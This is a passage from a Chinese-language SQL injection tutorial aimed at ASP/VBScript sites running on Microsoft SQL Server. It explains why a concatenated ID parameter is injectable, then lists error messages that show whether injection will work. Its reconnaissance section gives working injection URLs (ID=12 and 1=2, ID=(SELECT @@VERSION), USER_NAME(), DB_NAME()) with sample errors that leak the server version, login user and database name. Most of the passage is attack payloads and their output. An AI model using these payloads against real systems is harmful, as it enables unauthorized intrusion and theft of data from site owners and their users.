请注意strSQL="select * from info_article where ID=" & strID这一句。实际运行时,客户端应当使用类似http://www.abc.com/article_show.asp?ID=12这样的URL访问此ASP程序,当ID为数字12时,strID的值为字符型“12”,VBScript中“&”运算符可以连接任意类型的数据,经过&的连接后,可以得到strSQL字串的值:select * from info_article where ID=12,可以看出这是一个正常的SQL语句。VBScript是一种弱类型语言,不需声明变量的类型(甚至不需声明变量),这有时会给编程者带来方便,但也容易在编程过程中产生不少可被利用的漏洞。正由于在此程序中没有限定变量strID的类型,因而使这个程序存在SQL注入的漏洞。
有些时候服务器显示的内容还是ID=12的内容,没有任何出错信息,这可能是开发者过滤掉了单引号,可以使用下面的方法进行尝试:“article_show.asp?ID=12 and 1=2”,此时如果出现下面的错误,还是有可能进行注入的。
错误 '80020009'
发生意外。
注意:出现下面的错误信息时肯定无法完成注入:
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'cint'
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'clng'
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'cdbl'
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'c'
非法的参数值。
请输入正确的参数值。
ADODB.Parameter error '800a0d5d'
Application uses a value of the wrong type for the current operation.
三、搜集信息
确定可以实施注入攻击后,可以使用下面的方法对服务器进行测试。
测试SQL Server版本:
article_show.asp?ID=(SELECT @@VERSION)
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。
测试SQL Server当前的登录用户名:
article_show.asp?ID=(USER_NAME())
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'webuser' 转换为数据类型为 int 的列时发生语法错误。
注意:如果是以sa登录的在这里将显示dbo。
测试SQL Server当前使用的数据库名称:
article_show.asp?ID=(DB_NAME())
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'sitelog' 转换为数据类型为 int 的列时发生语法错误。